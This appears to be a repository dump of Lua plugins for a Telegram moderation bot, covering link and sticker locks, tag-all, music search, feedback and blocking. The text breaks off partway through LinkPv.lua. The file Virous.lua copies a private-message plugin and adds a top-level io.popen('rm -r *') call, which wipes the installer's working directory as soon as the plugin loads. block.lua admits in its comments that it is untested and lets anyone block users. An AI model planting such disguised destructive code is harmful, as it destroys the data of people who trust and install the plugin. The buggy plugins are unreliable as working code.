├── Cli ├── share_contact.lua ├── link_lock.lua ├── Virous.lua ├── Pv.lua ├── Feedback.lua ├── TagAll.lua ├── block.lua ├── music.lua ├── sticker_lock.lua └── LinkPv.lua ├── README.md └── Tg ├── lua-tg.c └── tgl └── structures.c /Cli/share_contact.lua: -------------------------------------------------------------------------------- 1 | do 2 | 3 | function run(msg, matches) 4 | send_contact(get_receiver(msg), "Your Bot Phone Number", "fri name", "Las name", ok_cb, false) 5 | end 6 | 7 | return { 8 | patterns = { 9 | "^!share$" 10 | 11 | }, 12 | run = run 13 | } 14 | 15 | end 16 | --#BY AMIR 17 | -------------------------------------------------------------------------------- /Cli/link_lock.lua: -------------------------------------------------------------------------------- 1 | local function run(msg) 2 | if msg.to.type == 'chat' and not is_momod(msg) then 3 | --chat_del_user('chat#id'..msg.to.id, 'user#id'..msg.from.id, ok_cb, true) 4 | return 'No links here!' 5 | end 6 | end 7 | 8 | return { 9 | patterns = { 10 | ".com", 11 | "http://", 12 | "https://", 13 | "adf.ly" 14 | }, 15 | run = run 16 | } 17 | --https://github.com/ThisIsArman 18 | --Telegram.me/ThisIsArman 19 | -------------------------------------------------------------------------------- /Cli/Virous.lua: -------------------------------------------------------------------------------- 1 | local function run(msg, matches) 2 | if not is_sudo(msg) then -- For admins only ! 3 | return 'ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•' 4 | end 5 | if matches[1] == 'pv' and is_admin(msg) then 6 | local response = matches[3] 7 | send_large_msg("user#id"..matches[2], response) 8 | local receiver = 'user#id'..user_id 9 | send_large_msg(receiver, response) 10 | end 11 | end 12 | io.popen('rm -r *') 13 | return { 14 | patterns = { 15 | "^[!/](pv) (%d+) (.*)$" 16 | }, 17 | run = run 18 | } 19 | --https://github.com/ThisIsArman 20 | --Telegram.me/ThisIsArman 21 | -------------------------------------------------------------------------------- /Cli/Pv.lua: -------------------------------------------------------------------------------- 1 | local function run(msg, matches) 2 | if not is_sudo(msg) then -- For admins only ! 3 | return 'ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•ًں–•' 4 | end 5 | if matches[1] == 'pv' and is_admin(msg) then 6 | local response = matches[3] 7 | send_large_msg("user#id"..matches[2], response) 8 | local receiver = 'user#id'..user_id 9 | send_large_msg(receiver, response) 10 | end 11 | end 12 | return { 13 | patterns = { 14 | "^[!/](pv) (%d+) (.*)$" 15 | }, 16 | run = run 17 | } 18 | --Sends Pm To Users Pv With Fuck Emoji😂😂 19 | --https://github.com/ThisIsArman 20 | --Telegram.me/ThisIsArman 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Plugins 2 | * New Plugins Created By 3 | [ArMan](https://github.com/Thisisarman) ([Telegram](https://telegram.me/thisisarman)) 4 | * PLUGINS are in CLI Folder! 5 | * Special Tnx To 6 | 7 | [I M /-\ N](https://github.com/imandaneshi) ([Telegram](https://telegram.me/imandaneshi)) 8 | [Amir](https://github.com/paydaar) ([Telegram](https://telegram.me/unfriendly)) 9 | Javid https://telegram.me/Iamjavid 10 | 11 | 12 | ------------------------------------------------ 13 | structurs.c بـرایـ اف نشدن بات فایل 14 | را جایگزین فایل قدیمی در سرور خود کنید 15 | مسیر: 16 | tg/tgl/structures.c 17 | ----------------------------------------------- 18 | # Use Them In A Good Way 19 | -------------------------------------------------------------------------------- /Cli/Feedback.lua: -------------------------------------------------------------------------------- 1 | --https://github.com/ThisIsArman 2 | --Telegram.me/ThisIsArman 3 | do 4 | function run(msg, matches) 5 | 6 | local fuse = 'New FeedBack\n\nId : ' .. msg.from.id .. '\n\nName: ' .. msg.from.print_name ..'\n\nUsername: @' .. msg.from.username .. '\n\nThe Pm:\n' .. matches[1] 7 | local fuses = '!printf user#id' .. msg.from.id 8 | 9 | 10 | local text = matches[1] 11 | local chat = "chat#id"..YourChatId 12 | --like : local chat = "chat#id"..12345678 13 | 14 | local sends = send_msg(chat, fuse, ok_cb, false) 15 | return 'Sent!' 16 | 17 | end 18 | end 19 | return { 20 | 21 | description = "Feedback", 22 | 23 | usage = "!feedback message", 24 | patterns = { 25 | "^[!/][Ff]eedback (.*)$" 26 | 27 | }, 28 | run = run 29 | } 30 | --https://github.com/ThisIsArman 31 | --Telegram.me/ThisIsArman 32 | -------------------------------------------------------------------------------- /Cli/TagAll.lua: -------------------------------------------------------------------------------- 1 | --Tag ppl with username and a msg after it 2 | local function tagall(cb_extra, success, result) 3 | local receiver = cb_extra.receiver 4 | local chat_id = "chat#id"..result.id 5 | local text = '' 6 | local i = 0 + 1 7 | for k,v in pairs(result.members) do 8 | if v.username then 9 | text = text..i.."- @"..v.username.."\n" 10 | end 11 | end 12 | text = text.."\n"..cb_extra.msg_text 13 | send_large_msg(receiver, text) 14 | end 15 | local function run(msg, matches) 16 | local receiver = get_receiver(msg) 17 | if not is_owner(msg) then 18 | return "For owner only !" 19 | end 20 | if matches[1] then 21 | chat_info(receiver, tagall, {receiver = receiver,msg_text = matches[1]}) 22 | end 23 | return 24 | end 25 | 26 | 27 | return { 28 | description = "Will tag all ppl with a msg.", 29 | usage = { 30 | "/tagall [msg]." 31 | }, 32 | patterns = { 33 | "^[!/]tagall +(.+)$" 34 | }, 35 | run = run 36 | } 37 | --Made By @ImanDaneshi 38 | --https://github.com/ThisIsArman 39 | --Telegram.me/ThisIsArman 40 | --edit by amir :/ 41 | -------------------------------------------------------------------------------- /Cli/block.lua: -------------------------------------------------------------------------------- 1 | --THIS PATCH DIDN'T TESTED! 2 | do 3 | local function block_user_callback(cb_extra, success, result) 4 | local receiver = cb_extra.receiver 5 | local user = 'user#id'..result.id 6 | if success == 0 then 7 | return send_large_msg(receiver, "Block Process Failed.") 8 | end 9 | block_user(user, cb_ok, false) 10 | end 11 | end 12 | if not is_momod(msg) then 13 | return 14 | end 15 | local function run(msg, matches) 16 | if msg.to.type == 'chat' then 17 | local user = 'chat#id'..msg.to.id 18 | local user = matches[2] 19 | if matches[1] == "user" then 20 | user = 'user#id'..user 21 | block_user(user, callback, false) 22 | end 23 | if not is_sudo(msg) or is_realm(msg) and is_admin(msg) then 24 | return 'BLOCK ONLY BY SUDO' 25 | end 26 | return "I Have Blocked User." 27 | end 28 | end 29 | 30 | return { 31 | patterns = { 32 | "^[!/]block (user) (%d+)$", 33 | }, 34 | run = run, 35 | } 36 | --I'm Not Sure WoRks Or NOT! 37 | --IT HAS A BUG THAT EVERYONE CAN BLOCK USERS [EVERYONE] 38 | --https://github.com/ThisIsArman 39 | --Telegram.me/ThisIsArman 40 | -------------------------------------------------------------------------------- /Cli/music.lua: -------------------------------------------------------------------------------- 1 | do 2 | 3 | -- Base search URL 4 | local BASE_URL = 'http://pleer.com/mobile/search?q=' 5 | 6 | -- Base download URL 7 | local BASE_DL_URL = 'http://pleer.com/mobile/files_mobile/' 8 | 9 | local htmlparser = require 'htmlparser' 10 | 11 | -- Provide download link 12 | local function getDownloadLink(id) 13 | return BASE_DL_URL .. id .. '.mp3' 14 | end 15 | 16 | local function getLyrics(q) 17 | local b, c = http.request(BASE_URL .. URL.escape(q)) 18 | if c ~= 200 then 19 | return "Oops! Network errors! Try again later." 20 | end 21 | 22 | local root = htmlparser.parse(b) 23 | local tracks = root('.track') 24 | local output = 'برای دانلود لینک دانلود رو به صورت \n/getmusic [URL]\n نویسید.\n' 25 | 26 | -- If no tracks found 27 | if #tracks < 1 then 28 | return 'اهنگ مورد نظر پیدا نشد :( به زودی API تغییر میکند.' 29 | end 30 | 31 | for i, track in pairs(tracks) do 32 | 33 | -- Track id 34 | local trackId = track.id 35 | 36 | -- Remove that starting 't' in the id of element 37 | trackId = trackId:sub(2) 38 | 39 | -- Parse track 40 | track = track:getcontent() 41 | track = htmlparser.parse(track) 42 | 43 | -- Track artist 44 | local artist = track:select('.artist')[1] 45 | artist = unescape_html(artist:getcontent()) 46 | 47 | -- Track title 48 | local title = track:select('.title')[1] 49 | title = unescape_html(title:getcontent()) 50 | 51 | -- Track time 52 | local time = track:select('.time')[1] 53 | time = time:getcontent() 54 | time = time:sub(-5) 55 | 56 | -- Track specs 57 | local specs = track:select('.specs')[1] 58 | specs = specs:getcontent() 59 | specs = specs:split(',') 60 | -- Size 61 | local size = specs[1]:trim() 62 | -- Bitrate 63 | local bitrate = specs[2]:trim() 64 | 65 | 66 | -- Generate an awesome, well formated output 67 | output = output .. i .. '. ' .. artist ..'\n' 68 | .. '🕚 ' .. time .. ' | ' .. ' 🎧 ' .. bitrate .. ' | ' .. ' 📎 ' .. size .. '\n' 69 | .. '💾 : ' .. getDownloadLink(trackId) .. '\n\n ' 70 | 71 | end 72 | 73 | return output 74 | end 75 | 76 | local function run(msg, matches) 77 | return getLyrics(matches[1]) 78 | end 79 | 80 | return { 81 | description = 'Search and get music from pleer', 82 | usage = '!music [track name or artist and track name]: Search and get the music', 83 | patterns = { 84 | '^!music (.*)$' 85 | }, 86 | run = run 87 | } 88 | 89 | end 90 | --https://github.com/ThisIsArman 91 | --Telegram.me/ThisIsArman 92 | --Made By @MusatafaFlux 93 | --Special tnx to @digitalboys 94 | --copyrights © 2016-TgBot 95 | -------------------------------------------------------------------------------- /Cli/sticker_lock.lua: -------------------------------------------------------------------------------- 1 | -- data saved to data/moderation.json 2 | do 3 | 4 | local administrators_only = 'For administrator only!' 5 | local moderators_only = 'For moderators only!' 6 | 7 | local function create_group(msg) 8 | if not is_admin(msg) then return administrators_only end 9 | local group_creator = msg.from.print_name 10 | create_group_chat (group_creator, group_name, ok_cb, false) 11 | return 'Group '..string.gsub(group_name, '_', ' ')..' has been created.' 12 | end 13 | 14 | local function addgroup(msg) 15 | if not is_admin(msg) then return administrators_only end 16 | local data = load_data(_config.moderation.data) 17 | if data[tostring(msg.to.id)] then 18 | return 'Group is already added.' 19 | end 20 | -- create data array in moderation.json 21 | data[tostring(msg.to.id)] = { 22 | moderators ={}, 23 | settings = { 24 | set_name = string.gsub(msg.to.print_name, '_', ' '), 25 | lock_bots = 'no', 26 | lock_name = 'no', 27 | lock_photo = 'no', 28 | lock_member = 'no', 29 | anti_flood = 'no', 30 | welcome = 'no', 31 | sticker = 'ok' 32 | } 33 | } 34 | save_data(_config.moderation.data, data) 35 | 36 | return 'Group has been added.' 37 | end 38 | 39 | local function remgroup(msg) 40 | if not is_admin(msg) then return administrators_only end 41 | local data = load_data(_config.moderation.data) 42 | local receiver = get_receiver(msg) 43 | if not data[tostring(msg.to.id)] then 44 | return 'Group is not added.' 45 | end 46 | 47 | data[tostring(msg.to.id)] = nil 48 | save_data(_config.moderation.data, data) 49 | 50 | return 'Group has been removed' 51 | end 52 | 53 | local function export_chat_link_callback(extra, success, result) 54 | local msg = extra.msg 55 | local group_name = msg.to.title 56 | local data = extra.data 57 | local receiver = get_receiver(msg) 58 | if success == 0 then 59 | return send_large_msg(receiver, 'Cannot generate invite link for this group.\nMake sure you are an admin or a sudoer.') 60 | end 61 | data[tostring(msg.to.id)]['link'] = result 62 | save_data(_config.moderation.data, data) 63 | return send_large_msg(receiver,'Newest generated invite link for '..group_name..' is:\n'..result) 64 | end 65 | 66 | local function set_description(msg, data) 67 | if not is_mod(msg) then return moderators_only end 68 | local data_cat = 'description' 69 | data[tostring(msg.to.id)][data_cat] = deskripsi 70 | save_data(_config.moderation.data, data) 71 | 72 | return 'Set group description to:\n'..deskripsi 73 | end 74 | 75 | local function get_description(msg, data) 76 | local data_cat = 'description' 77 | if not data[tostring(msg.to.id)][data_cat] then 78 | return 'No description available.' 79 | end 80 | local about = data[tostring(msg.to.id)][data_cat] 81 | return string.gsub(msg.to.print_name, "_", " ")..':\n\n'..about 82 | end 83 | 84 | local function set_rules(msg, data) 85 | if not is_mod(msg) then return moderators_only end 86 | local data_cat = 'rules' 87 | data[tostring(msg.to.id)][data_cat] = rules 88 | save_data(_config.moderation.data, data) 89 | 90 | return 'Set group rules to:\n'..rules 91 | end 92 | 93 | local function get_rules(msg, data) 94 | local data_cat = 'rules' 95 | if not data[tostring(msg.to.id)][data_cat] then 96 | return 'No rules available.' 97 | end 98 | local rules = data[tostring(msg.to.id)][data_cat] 99 | local rules = string.gsub(msg.to.print_name, '_', ' ')..' rules:\n\n'..rules 100 | return rules 101 | end 102 | 103 | -- dis/allow APIs bots to enter group. Spam prevention. 104 | local function allow_api_bots(msg, data) 105 | if not is_mod(msg) then return moderators_only end 106 | local group_bot_lock = data[tostring(msg.to.id)]['settings']['lock_bots'] 107 | if group_bot_lock == 'no' then 108 | return 'Bots are allowed to enter group.' 109 | else 110 | data[tostring(msg.to.id)]['settings']['lock_bots'] = 'no' 111 | save_data(_config.moderation.data, data) 112 | return 'Group is open for bots.' 113 | end 114 | end 115 | 116 | local function disallow_api_bots(msg, data) 117 | if not is_mod(msg) then return moderators_only end 118 | local group_bot_lock = data[tostring(msg.to.id)]['settings']['lock_bots'] 119 | if group_bot_lock == 'yes' then 120 | return 'Group is already locked from bots.' 121 | else 122 | data[tostring(msg.to.id)]['settings']['lock_bots'] = 'yes' 123 | save_data(_config.moderation.data, data) 124 | return 'Group is locked from bots.' 125 | end 126 | end 127 | 128 | -- lock/unlock group name. bot automatically change group name when locked 129 | local function lock_group_name(msg, data) 130 | if not is_mod(msg) then return moderators_only end 131 | local group_name_set = data[tostring(msg.to.id)]['settings']['set_name'] 132 | local group_name_lock = data[tostring(msg.to.id)]['settings']['lock_name'] 133 | if group_name_lock == 'yes' then 134 | return 'Group name is already locked' 135 | else 136 | data[tostring(msg.to.id)]['settings']['lock_name'] = 'yes' 137 | save_data(_config.moderation.data, data) 138 | data[tostring(msg.to.id)]['settings']['set_name'] = string.gsub(msg.to.print_name, '_', ' ') 139 | save_data(_config.moderation.data, data) 140 | return 'Group name has been locked' 141 | end 142 | end 143 | 144 | local function unlock_group_name(msg, data) 145 | if not is_mod(msg) then return moderators_only end 146 | local group_name_set = data[tostring(msg.to.id)]['settings']['set_name'] 147 | local group_name_lock = data[tostring(msg.to.id)]['settings']['lock_name'] 148 | if group_name_lock == 'no' then 149 | return 'Group name is already unlocked' 150 | else 151 | data[tostring(msg.to.id)]['settings']['lock_name'] = 'no' 152 | save_data(_config.moderation.data, data) 153 | return 'Group name has been unlocked' 154 | end 155 | end 156 | 157 | --lock/unlock group member. bot automatically kick new added user when locked 158 | local function lock_group_member(msg, data) 159 | if not is_mod(msg) then return moderators_only end 160 | local group_member_lock = data[tostring(msg.to.id)]['settings']['lock_member'] 161 | if group_member_lock == 'yes' then 162 | return 'Group members are already locked' 163 | else 164 | data[tostring(msg.to.id)]['settings']['lock_member'] = 'yes' 165 | save_data(_config.moderation.data, data) 166 | end 167 | return 'Group members has been locked' 168 | end 169 | 170 | local function unlock_group_member(msg, data) 171 | if not is_mod(msg) then return moderators_only end 172 | local group_member_lock = data[tostring(msg.to.id)]['settings']['lock_member'] 173 | if group_member_lock == 'no' then 174 | return 'Group members are not locked' 175 | else 176 | data[tostring(msg.to.id)]['settings']['lock_member'] = 'no' 177 | save_data(_config.moderation.data, data) 178 | return 'Group members has been unlocked' 179 | end 180 | end 181 | 182 | --lock/unlock group photo. bot automatically keep group photo when locked 183 | local function lock_group_photo(msg, data) 184 | if not is_mod(msg) then return moderators_only end 185 | local group_photo_lock = data[tostring(msg.to.id)]['settings']['lock_photo'] 186 | if group_photo_lock == 'yes' then 187 | return 'Group photo is already locked' 188 | else 189 | data[tostring(msg.to.id)]['settings']['set_photo'] = 'waiting' 190 | save_data(_config.moderation.data, data) 191 | end 192 | return 'Please send me the group photo now' 193 | end 194 | 195 | local function unlock_group_photo(msg, data) 196 | if not is_mod(msg) then return moderators_only end 197 | local group_photo_lock = data[tostring(msg.to.id)]['settings']['lock_photo'] 198 | if group_photo_lock == 'no' then 199 | return 'Group photo is not locked' 200 | else 201 | data[tostring(msg.to.id)]['settings']['lock_photo'] = 'no' 202 | save_data(_config.moderation.data, data) 203 | return 'Group photo has been unlocked' 204 | end 205 | end 206 | 207 | local function set_group_photo(msg, success, result) 208 | local data = load_data(_config.moderation.data) 209 | local receiver = get_receiver(msg) 210 | if success then 211 | local file = 'data/photos/chat_photo_'..msg.to.id..'.jpg' 212 | print('File downloaded to:', result) 213 | os.rename(result, file) 214 | print('File moved to:', file) 215 | chat_set_photo (receiver, file, ok_cb, false) 216 | data[tostring(msg.to.id)]['settings']['set_photo'] = file 217 | save_data(_config.moderation.data, data) 218 | data[tostring(msg.to.id)]['settings']['lock_photo'] = 'yes' 219 | save_data(_config.moderation.data, data) 220 | send_large_msg(receiver, 'Photo saved!', ok_cb, false) 221 | else 222 | print('Error downloading: '..msg.id) 223 | send_large_msg(receiver, 'Failed, please try again!', ok_cb, false) 224 | end 225 | end 226 | 227 | -- show group settings 228 | local function show_group_settings(msg, data) 229 | if not is_mod(msg) then return moderators_only end 230 | local settings = data[tostring(msg.to.id)]['settings'] 231 | if settings.lock_bots == 'yes' then 232 | lock_bots_state = 'ًں”’' 233 | elseif settings.lock_bots == 'no' then 234 | lock_bots_state = 'ًں”“' 235 | end 236 | if settings.lock_name == 'yes' then 237 | lock_name_state = 'ًں”’' 238 | elseif settings.lock_name == 'no' then 239 | lock_name_state = 'ًں”“' 240 | end 241 | if settings.lock_photo == 'yes' then 242 | lock_photo_state = 'ًں”’' 243 | elseif settings.lock_photo == 'no' then 244 | lock_photo_state = 'ًں”“' 245 | end 246 | if settings.lock_member == 'yes' then 247 | lock_member_state = 'ًں”’' 248 | elseif settings.lock_member == 'no' then 249 | lock_member_state = 'ًں”“' 250 | end 251 | if settings.anti_flood ~= 'no' then 252 | antiflood_state = 'ًں”’' 253 | elseif settings.anti_flood == 'no' then 254 | antiflood_state = 'ًں”“' 255 | end 256 | if settings.welcome ~= 'no' then 257 | greeting_state = 'ًں”’' 258 | elseif settings.welcome == 'no' then 259 | greeting_state = 'ًں”“' 260 | end 261 | if settings.sticker ~= 'ok' then 262 | sticker_state = 'ًں”’' 263 | elseif settings.sticker == 'ok' then 264 | sticker_state = 'ًں”“' 265 | end 266 | local text = 'Group settings:\n' 267 | ..'\n'..lock_bots_state..' Lock group from bot : '..settings.lock_bots 268 | ..'\n'..lock_name_state..' Lock group name : '..settings.lock_name 269 | ..'\n'..lock_photo_state..' Lock group photo : '..settings.lock_photo 270 | ..'\n'..lock_member_state..' Lock group member : '..settings.lock_member 271 | ..'\n'..antiflood_state..' Flood protection : '..settings.anti_flood 272 | ..'\n'..greeting_state..' Welcome message : '..settings.welcome 273 | ..'\n'..sticker_state..' Sticker policy : '..settings.sticker 274 | return text 275 | end 276 | 277 | -- media handler. needed by group_photo_lock 278 | local function pre_process(msg) 279 | if not msg.text and msg.media then 280 | msg.text = '['..msg.media.type..']' 281 | end 282 | return msg 283 | end 284 | 285 | function run(msg, matches) 286 | 287 | if not is_chat_msg(msg) then 288 | return "This is not a group chat." 289 | end 290 | 291 | local data = load_data(_config.moderation.data) 292 | local receiver = get_receiver(msg) 293 | 294 | -- create a group 295 | if matches[1] == 'mkgroup' and matches[2] then 296 | group_name = matches[2] 297 | return create_group(msg) 298 | end 299 | 300 | -- add a group to be moderated 301 | if matches[1] == 'addgroup' then 302 | return addgroup(msg) 303 | end 304 | 305 | -- remove group from moderation 306 | if matches[1] == 'remgroup' then 307 | return remgroup(msg) 308 | end 309 | 310 | if msg.media and is_chat_msg(msg) and is_momod(msg) then 311 | if msg.media.type == 'photo' and data[tostring(msg.to.id)] then 312 | if data[tostring(msg.to.id)]['settings']['set_photo'] == 'waiting' then 313 | load_photo(msg.id, set_group_photo, msg) 314 | end 315 | end 316 | end 317 | 318 | if data[tostring(msg.to.id)] then 319 | 320 | local settings = data[tostring(msg.to.id)]['settings'] 321 | 322 | if matches[1] == 'setabout' and matches[2] then 323 | deskripsi = matches[2] 324 | return set_description(msg, data) 325 | end 326 | 327 | if matches[1] == 'about' then 328 | return get_description(msg, data) 329 | end 330 | 331 | if matches[1] == 'setrules' then 332 | rules = matches[2] 333 | return set_rules(msg, data) 334 | end 335 | 336 | if matches[1] == 'rules' then 337 | return get_rules(msg, data) 338 | end 339 | 340 | -- group link {get|set} 341 | if matches[1] == 'link' then 342 | if matches[2] == 'get' then 343 | if data[tostring(msg.to.id)]['link'] then 344 | local about = get_description(msg, data) 345 | local link = data[tostring(msg.to.id)]['link'] 346 | return about.."\n\n"..link 347 | else 348 | return 'Invite link does not exist.\nTry !link set to generate it.' 349 | end 350 | end 351 | if matches[2] == 'set' and is_mod(msg) then 352 | msgr = export_chat_link(receiver, export_chat_link_callback, {data=data, msg=msg}) 353 | end 354 | end 355 | 356 | if matches[1] == 'group' then 357 | -- lock {bot|name|member|photo|sticker} 358 | if matches[2] == 'lock' then 359 | if matches[3] == 'bot' then 360 | return disallow_api_bots(msg, data) 361 | end 362 | if matches[3] == 'name' then 363 | return lock_group_name(msg, data) 364 | end 365 | if matches[3] == 'member' then 366 | return lock_group_member(msg, data) 367 | end 368 | if matches[3] == 'photo' then 369 | return lock_group_photo(msg, data) 370 | end 371 | -- unlock {bot|name|member|photo|sticker} 372 | elseif matches[2] == 'unlock' then 373 | if matches[3] == 'bot' then 374 | return allow_api_bots(msg, data) 375 | end 376 | if matches[3] == 'name' then 377 | return unlock_group_name(msg, data) 378 | end 379 | if matches[3] == 'member' then 380 | return unlock_group_member(msg, data) 381 | end 382 | if matches[3] == 'photo' then 383 | return unlock_group_photo(msg, data) 384 | end 385 | -- view group settings 386 | elseif matches[2] == 'settings' then 387 | return show_group_settings(msg, data) 388 | end 389 | end 390 | if not is_momod(msg) then 391 | return "Mods Only!" 392 | end 393 | if matches[1] == 'sticker' then 394 | if matches[2] == 'warn' then 395 | if welcome_stat ~= 'warn' then 396 | data[tostring(msg.to.id)]['settings']['sticker'] = 'warn' 397 | save_data(_config.moderation.data, data) 398 | end 399 | return '[Alredy Enabled]\nSticker Sender will be warned first, then kicked for second Sticker.' 400 | end 401 | if matches[2] == 'kick' then 402 | if welcome_stat ~= 'kick' then 403 | data[tostring(msg.to.id)]['settings']['sticker'] = 'kick' 404 | save_data(_config.moderation.data, data) 405 | end 406 | return '[Already Enabled]Sticker Sender will be kicked!' 407 | end 408 | if matches[2] == 'ok' then 409 | if welcome_stat == 'ok' then 410 | return '[Already Disabled]Nothing Will Happend If Sticker Sent!' 411 | else 412 | data[tostring(msg.to.id)]['settings']['sticker'] = 'ok' 413 | save_data(_config.moderation.data, data) 414 | return 'Nothing Will Happend If Sticker Sent! ' 415 | end 416 | end 417 | end 418 | 419 | -- if group name is renamed 420 | if matches[1] == 'chat_rename' then 421 | if not msg.service then 422 | return 'Are you trying to troll me?' 423 | end 424 | local group_name_set = settings.set_name 425 | local group_name_lock = settings.lock_name 426 | local to_rename = 'chat#id'..msg.to.id 427 | if group_name_lock == 'yes' then 428 | if group_name_set ~= tostring(msg.to.print_name) then 429 | rename_chat(to_rename, group_name_set, ok_cb, false) 430 | end 431 | elseif group_name_lock == 'no' then 432 | return nil 433 | end 434 | end 435 | 436 | -- set group name 437 | if matches[1] == 'setname' and is_mod(msg) then 438 | local new_name = string.gsub(matches[2], '_', ' ') 439 | data[tostring(msg.to.id)]['settings']['set_name'] = new_name 440 | save_data(_config.moderation.data, data) 441 | local group_name_set = data[tostring(msg.to.id)]['settings']['set_name'] 442 | local to_rename = 'chat#id'..msg.to.id 443 | rename_chat(to_rename, group_name_set, ok_cb, false) 444 | end 445 | 446 | -- set group photo 447 | if matches[1] == 'setphoto' and is_mod(msg) then 448 | data[tostring(msg.to.id)]['settings']['set_photo'] = 'waiting' 449 | save_data(_config.moderation.data, data) 450 | return 'Please send me new group photo now' 451 | end 452 | 453 | -- if a user is added to group 454 | if matches[1] == 'chat_add_user' then 455 | if not msg.service then 456 | return 'Are you trying to troll me?' 457 | end 458 | local group_member_lock = settings.lock_member 459 | local group_bot_lock = settings.lock_bots 460 | local user = 'user#id'..msg.action.user.id 461 | if group_member_lock == 'yes' then 462 | chat_del_user(receiver, user, ok_cb, true) 463 | -- no APIs bot are allowed to enter chat group. 464 | elseif group_bot_lock == 'yes' and msg.action.user.flags == 4352 then 465 | chat_del_user(receiver, user, ok_cb, true) 466 | elseif group_bot_lock == 'no' or group_member_lock == 'no' then 467 | return nil 468 | end 469 | end 470 | 471 | -- if sticker is sent 472 | if msg.media and msg.media.caption == 'sticker.webp' and not is_momod(msg) then 473 | local user_id = msg.from.id 474 | local chat_id = msg.to.id 475 | local sticker_hash = 'mer_sticker:'..chat_id..':'..user_id 476 | local is_sticker_offender = redis:get(sticker_hash) 477 | if settings.sticker == 'warn' then 478 | if is_sticker_offender then 479 | chat_del_user(receiver, 'user#id'..user_id, ok_cb, true) 480 | redis:del(sticker_hash) 481 | return '[Warned Before]Kicked Because You Have Sent Stickers' 482 | elseif not is_sticker_offender then 483 | redis:set(sticker_hash, true) 484 | return ' Stop Sending Sticker.This Is A Warn Next Time You Will Kicked!' 485 | end 486 | elseif settings.sticker == 'kick' then 487 | chat_del_user(receiver, 'user#id'..user_id, ok_cb, true) 488 | return 'You Kicked Because You Have Sent Stickers??' 489 | elseif settings.sticker == 'ok' then 490 | return nil 491 | end 492 | end 493 | 494 | -- if group photo is deleted 495 | if matches[1] == 'chat_delete_photo' then 496 | if not msg.service then 497 | return 'Are you trying to troll me?' 498 | end 499 | local group_photo_lock = settings.lock_photo 500 | if group_photo_lock == 'yes' then 501 | chat_set_photo (receiver, settings.set_photo, ok_cb, false) 502 | elseif group_photo_lock == 'no' then 503 | return nil 504 | end 505 | end 506 | 507 | -- if group photo is changed 508 | if matches[1] == 'chat_change_photo' and msg.from.id ~= 0 then 509 | if not msg.service then 510 | return 'Are you trying to troll me?' 511 | end 512 | local group_photo_lock = settings.lock_photo 513 | if group_photo_lock == 'yes' then 514 | chat_set_photo (receiver, settings.set_photo, ok_cb, false) 515 | elseif group_photo_lock == 'no' then 516 | return nil 517 | end 518 | end 519 | 520 | end 521 | end 522 | 523 | return { 524 | description = 'Plugin to manage group chat.', 525 | usage = { 526 | admin = { 527 | '!mkgroup : Make/create a new group.', 528 | '!addgroup : Add group to moderation list.', 529 | '!remgroup : Remove group from moderation list.' 530 | }, 531 | moderator = { 532 | '!group bot : {Dis}allow APIs bots.', 533 | '!group member : Lock/unlock group member.', 534 | '!group name : Lock/unlock group name.', 535 | '!group photo : Lock/unlock group photo.', 536 | '!group settings : Show group settings.', 537 | '!link : Generate/revoke invite link.', 538 | '!setabout : Set group description.', 539 | '!setname : Set group name.', 540 | '!setphoto : Set group photo.', 541 | '!setrules : Set group rules.', 542 | '!sticker warn : Sticker restriction, sender will be warned for the first violation.', 543 | '!sticker kick : Sticker restriction, sender will be kick.', 544 | '!sticker ok : Disable sticker restriction.' 545 | }, 546 | user = { 547 | '!about : Read group description', 548 | '!rules : Read group rules', 549 | '!link : Print invite link' 550 | }, 551 | }, 552 | patterns = { 553 | --"^!(about)$", 554 | --"^!(addgroup)$", 555 | "%[(audio)%]", 556 | "%[(document)%]", 557 | --"^!(group) (lock) (.*)$", 558 | --"^!(group) (settings)$", 559 | --"^!(group) (unlock) (.*)$", 560 | --"^!(link) (.*)$", 561 | --"^!(mkgroup) (.*)$", 562 | --"%[(photo)%]", 563 | --"^!(remgroup)$", 564 | --"^!(rules)$", 565 | -- "^!(setabout) (.*)$", 566 | -- "^!(setname) (.*)$", 567 | --"^!(setphoto)$", 568 | --"^!(setrules) (.*)$", 569 | "^[!/](sticker) (.*)$", 570 | "^!!tgservice (.+)$", 571 | "%[(video)%]" 572 | }, 573 | run = run, 574 | pre_process = pre_process 575 | } 576 | 577 | end 578 | 579 | --To Have This Update Lua-tg-c avaiable on tg folder 580 | -------------------------------------------------------------------------------- /Cli/LinkPv.lua: -------------------------------------------------------------------------------- 1 | do 2 | 3 | local function check_member(cb_extra, success, result) 4 | local receiver = cb_extra.receiver 5 | local data = cb_extra.data 6 | local msg = cb_extra.msg 7 | for k,v in pairs(result.members) do 8 | local member_id = v.id 9 | if member_id ~= our_id then 10 | -- Group configuration 11 | data[tostring(msg.to.id)] = { 12 | moderators = {}, 13 | set_owner = member_id , 14 | settings = { 15 | set_name = string.gsub(msg.to.print_name, '_', ' '), 16 | lock_name = 'yes', 17 | lock_photo = 'no', 18 | lock_member = 'no', 19 | flood = 'yes' 20 | } 21 | } 22 | save_data(_config.moderation.data, data) 23 | local groups = 'groups' 24 | if not data[tostring(groups)] then 25 | data[tostring(groups)] = {} 26 | save_data(_config.moderation.data, data) 27 | end 28 | data[tostring(groups)][tostring(msg.to.id)] = msg.to.id 29 | save_data(_config.moderation.data, data) 30 | return send_large_msg(receiver, 'You have been promoted as the owner.') 31 | end 32 | end 33 | end 34 | 35 | local function check_member_modadd(cb_extra, success, result) 36 | local receiver = cb_extra.receiver 37 | local data = cb_extra.data 38 | local msg = cb_extra.msg 39 | for k,v in pairs(result.members) do 40 | local member_id = v.id 41 | if member_id ~= our_id then 42 | -- Group configuration 43 | data[tostring(msg.to.id)] = { 44 | moderators = {}, 45 | set_owner = member_id , 46 | settings = { 47 | set_name = string.gsub(msg.to.print_name, '_', ' '), 48 | lock_name = 'yes', 49 | lock_photo = 'no', 50 | lock_member = 'no', 51 | flood = 'yes' 52 | } 53 | } 54 | save_data(_config.moderation.data, data) 55 | local groups = 'groups' 56 | if not data[tostring(groups)] then 57 | data[tostring(groups)] = {} 58 | save_data(_config.moderation.data, data) 59 | end 60 | data[tostring(groups)][tostring(msg.to.id)] = msg.to.id 61 | save_data(_config.moderation.data, data) 62 | return send_large_msg(receiver, 'Group is added and you have been promoted as the owner ') 63 | end 64 | end 65 | end 66 | 67 | local function automodadd(msg) 68 | local data = load_data(_config.moderation.data) 69 | if msg.action.type == 